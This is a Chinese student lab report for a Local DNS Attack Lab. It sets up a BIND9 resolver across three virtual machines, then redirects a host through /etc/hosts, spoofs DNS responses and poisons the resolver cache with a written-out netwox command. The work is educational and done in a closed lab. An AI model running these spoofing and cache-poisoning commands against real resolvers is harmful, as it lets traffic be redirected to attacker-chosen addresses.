Local DNS Attack Lab

57117231 农禄 2020/09/17

实验环境

攻击方操作系统：ubuntu 16.04(dxq)
被攻击：ubuntu 16.04(target)
Local DNS：ubuntu 16.04(third)
虚拟机载体：vmware

Part Ⅰ：Setting Up a Local DNS Server

Task1: Configure the User Machine

用虚拟机 third 当做 local DNS 服务器，ip：192.168.248.133
用虚拟机 dxq 当做攻击方，ip：192.168.248.128
用虚拟机 target 当做被攻击者，ip：192.168.248.132

通常通过修改/etc/resolv.conf 可以将自定义的 local DNS 服务器添加到本地环境, 但是 DHCP 协议会动态分配 local DNS 服务器并覆盖自定义的 local DNS 服务器。但是我们可以通过修改/etc/resolvconf/resolv.conf.d/head 来解决 DHCP 动态分配 local DNS 的问题。

```
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 192.168.248.133
```

执行 sudo resolvconf -u 命令使上述修改生效

```
root@VM:/home/seed# vim /etc/resolvconf/resolv.conf.d/head
root@VM:/home/seed# resolvconf -u
root@VM:/home/seed#
```

执行 dig 获取 local DNS 的信息

```
root@VM:/home/seed# dig

; <<>> DiG 9.10.3-P4-Ubuntu <<>>
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26413
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 27

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;.                              IN      NS

;; ANSWER SECTION:
.                       518173  IN      NS      c.root-servers.net.
.                       518173  IN      NS      g.root-servers.net.
.                       518173  IN      NS      l.root-servers.net.
.                       518173  IN      NS      e.root-servers.net.
.                       518173  IN      NS      a.root-servers.net.
.                       518173  IN      NS      f.root-servers.net.
.                       518173  IN      NS      b.root-servers.net.
.                       518173  IN      NS      k.root-servers.net.
.                       518173  IN      NS      i.root-servers.net.
.                       518173  IN      NS      h.root-servers.net.
.                       518173  IN      NS      m.root-servers.net.
.                       518173  IN      NS      d.root-servers.net.
.                       518173  IN      NS      j.root-servers.net.

;; ADDITIONAL SECTION:
a.ROOT-SERVERS.NET.     518173  IN      A       198.41.0.4
a.ROOT-SERVERS.NET.     518173  IN      AAAA    2001:503:ba3e::2:30
b.ROOT-SERVERS.NET.     518173  IN      A       199.9.14.201
b.ROOT-SERVERS.NET.     518173  IN      AAAA    2001:500:200::b
c.ROOT-SERVERS.NET.     518173  IN      A       192.33.4.12
c.ROOT-SERVERS.NET.     518173  IN      AAAA    2001:500:2::c
d.ROOT-SERVERS.NET.     518173  IN      A       199.7.91.13
d.ROOT-SERVERS.NET.     518173  IN      AAAA    2001:500:2d::d
E.ROOT-SERVERS.NET.     518173  IN      A       192.203.230.10
```

使用 grep 过滤，查看当前 local DNS 的 IP

```
root@VM:/home/seed# dig | grep SERVER:
;; SERVER: 192.168.248.133#53(192.168.248.133)
root@VM:/home/seed#
```

该 IP 是我们刚刚设置的 IP，说明配置成功。

Task2: Set ip a Local DNS Server

在 third 虚拟机中配置 bind9。bind 是一款提供 DNS 服务的软件。

1. Configure the BIND 9 server

BIND9 从/etc/bind/named.conf 文件获取其配置信息。named.conf 文件有很多"include"项，其中有一项是/etc/bind/named.conf.options，我们通常在这个文件中配置我们的自定义信息。往 options 文件中添加名为 dump-file 的项

```
        //========================================================
==
        // dnssec-validation auto;
        dnssec-enable no;
        dump-file "/var/cache/bind/dump.db";
        auth-nxdomain no;    # conform to RFC1035

        query-source port               33333;
```

上述设置指明 cache 缓存应该被保存在哪个文件。通过执行 rndc dumpdb -cache 命令可以将 cache 保存到我们刚刚指定的文件中；通过 rndc flush 命令可以清除 cache

```
root@VM:/etc/bind# rndc dumpdb -cache
root@VM:/etc/bind# rndc flush
root@VM:/etc/bind# cat /var/cache/bind/dump.db
;
; Start view _default
;
;
; Cache dump of view '_default' (cache _default)
;
$DATE 20200917200447
; authanswer
.                       516368  IN NS   a.root-servers.net.
                        516368  IN NS   b.root-servers.net.
                        516368  IN NS   c.root-servers.net.
                        516368  IN NS   d.root-servers.net.
                        516368  IN NS   e.root-servers.net.
```

```
; Dump complete
root@VM:/etc/bind# ls -l /var/cache/bind
total 4
-rw-r--r-- 1 bind bind 3520 Sep 17 16:04 dump.db
root@VM:/etc/bind#
```

可以看到，bind 是新创建的，cache 信息被成功保存。

2. Turn off DNSSEC

将/etc/bind/named.conf.options 文件中的 dnssec-validation auto 注释掉，并添加一行 dnssec-enable no 以关闭 dnssec

```
        //========================================================
==
        // dnssec-validation auto;
        dnssec-enable no;
        dump-file "/var/cache/bind/dump.db";
        auth-nxdomain no;    # conform to RFC1035

        query-source port               33333;
```

3. Start DNS server

每次修改 DNS 配置之后都要重启 DNS 服务

```
root@VM:/etc/bind# service bind9 restart
root@VM:/etc/bind#
```

4. Use the DNS server

用 target 虚拟机 ping baidu.com

```
root@VM:/home/seed# ping -c 1 baidu.com
PING baidu.com (220.181.38.148) 56(84) bytes of data.
64 bytes from 220.181.38.148: icmp_seq=1 ttl=128 time=27.7 ms

--- baidu.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 27.793/27.793/27.793/0.000 ms
root@VM:/home/seed#
```

查看抓包结果

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	192.168.248.132	192.168.248.133	DNS	69	Standard query 0x9159 A baidu.com
3	0.001589	192.168.248.132	220.181.38.148	ICMP	98	Echo (ping) request id=0x2b3c, seq=1/256, ttl=64 (reply in 4)
5	0.031348	192.168.248.132	192.168.248.133	DNS	87	Standard query 0x26bd PTR 148.38.181.220.in-addr.arpa

配置的 local DNS 成功返回结果

Task3: Host a Zone in the DNS Server

1. Create zones

修改/etc/bind/named.conf

```
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

zone "example.com" {
        type master;
        file "/etc/bind/example.com.db";
        };
zone "0.168.in-addr.arpa" {
        type master;
        file "/etc/bind/192.168.0.db";
        };
```

2. Setup the forward lookup zone file

从官网下载 example.com.db 文件

```
root@VM: /etc/bind
$TTL 3D
@       IN      SOA     ns.example.com. admin.example.com. (
                        2008111001
                        8H
                        2H
                        4W
                        1D)

@       IN      NS      ns.example.com.
@       IN      MX      10 mail.example.com.

www     IN      A       192.168.0.101
mail    IN      A       192.168.0.102
ns      IN      A       192.168.0.10
*.example.com.  IN      A 192.168.0.100
```

3. Setup the reverse lookup zone file

```
root@VM: /etc/bind
$TTL 3D
@       IN      SOA     ns.example.com. admin.example.com. (
                        2008111001
                        8H
                        2H
                        4W
                        1D)
@       IN      NS      ns.example.com.

101     IN      PTR     www.example.com.
102     IN      PTR     mail.example.com.
10      IN      PTR     ns.example.com.
```

4. Restart the BIND server and test

重启 BIND，然后 dig www.example.com

```
root@VM:/home/seed# dig www.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33297
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       192.168.0.101

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         259200  IN      A       192.168.0.10

;; Query time: 1 msec
;; SERVER: 192.168.248.133#53(192.168.248.133)
;; WHEN: Thu Sep 10 23:44:12 EDT 2020
;; MSG SIZE  rcvd: 93
```

成功得到 local DNS 的返回结果。

Part II： Attacks on DNS

Task4: Modifying the Host File

修改/etc/hosts 文件之前

```
root@VM:/home/seed# ping baidu.com -c 1
PING baidu.com (220.181.38.148) 56(84) bytes of data.
64 bytes from 220.181.38.148: icmp_seq=1 ttl=128 time=27.5 ms

--- baidu.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 27.561/27.561/27.561/0.000 ms
root@VM:/home/seed#
```

修改/etc/hosts

```
127.0.0.1       www.csrflabelgg.com
127.0.0.1       www.csrflabattacker.com
127.0.0.1       www.repackagingattacklab.com
127.0.0.1       www.seedlabclickjacking.com
192.168.248.2   baidu.com
```

重新 ping baiduc.om

```
root@VM:/home/seed# ping baidu.com -c 1
PING baidu.com (192.168.248.2) 56(84) bytes of data.
64 bytes from baidu.com (192.168.248.2): icmp_seq=1 ttl=128 time=0.294 ms

--- baidu.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.294/0.294/0.294/0.000 ms
root@VM:/home/seed#
```

映射的 ip 被修改

Task5: Directly Spoofing Response to User

攻击者可以在受害者和 local DNS 所处的局域网中进行中间人攻击
在未进行攻击之前，dig www.example.com

```
root@VM:/home/seed# dig www.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8994
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       192.168.0.101

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         259200  IN      A       192.168.0.10

;; Query time: 1 msec
;; SERVER: 192.168.248.133#53(192.168.248.133)
;; WHEN: Fri Sep 11 00:12:03 EDT 2020
;; MSG SIZE  rcvd: 93
```

使用 netwox 进行监听和伪造数据包

```
root@VM:/home/seed# dig www.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18888
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        10      IN      A       192.168.248.1

;; AUTHORITY SECTION:
ns.example.net.         10      IN      NS      ns.example.net.

;; ADDITIONAL SECTION:
ns.example.net.         10      IN      A       192.168.248.1

;; Query time: 164 msec
;; SERVER: 192.168.248.133#53(192.168.248.133)
;; WHEN: Fri Sep 11 01:09:56 EDT 2020
;; MSG SIZE  rcvd: 88
```

www.example.com 被映射到 192.168.248.1

Task6: DNS Cache Poisoning Attack

```
root@VM:~# netwox 105 --hostname "www.example.net" --hostnameip "192.168.248.1"
--authns "ns.example.net" --authnsip "192.168.248.1" --filter "ip src 192.168.24
8.133" --spoofip "raw"
```

将污染对象设置为 local DNS，并将 spoofip 字段设为 raw

```
;; ANSWER SECTION:
www.example.net.        3       IN      A       192.168.248.1

;; AUTHORITY SECTION:
.                       3       IN      NS      ns.example.net.

;; ADDITIONAL SECTION:
ns.example.net.         3       IN      A       192.168.248.1

;; Query time: 0 msec
;; SERVER: 192.168.248.133#53(192.168.248.133)
;; WHEN: Fri Sep 11 01:21:02 EDT 2020
;; MSG SIZE  rcvd: 92

root@VM:/home/seed# dig www.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17658
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        2       IN      A       192.168.248.1

;; AUTHORITY SECTION:
.                       2       IN      NS      ns.example.net.

;; ADDITIONAL SECTION:
ns.example.net.         2       IN      A       192.168.248.1
```

在 ttl 内多次 dig www.example.net 查询到的都是被污染后的信息。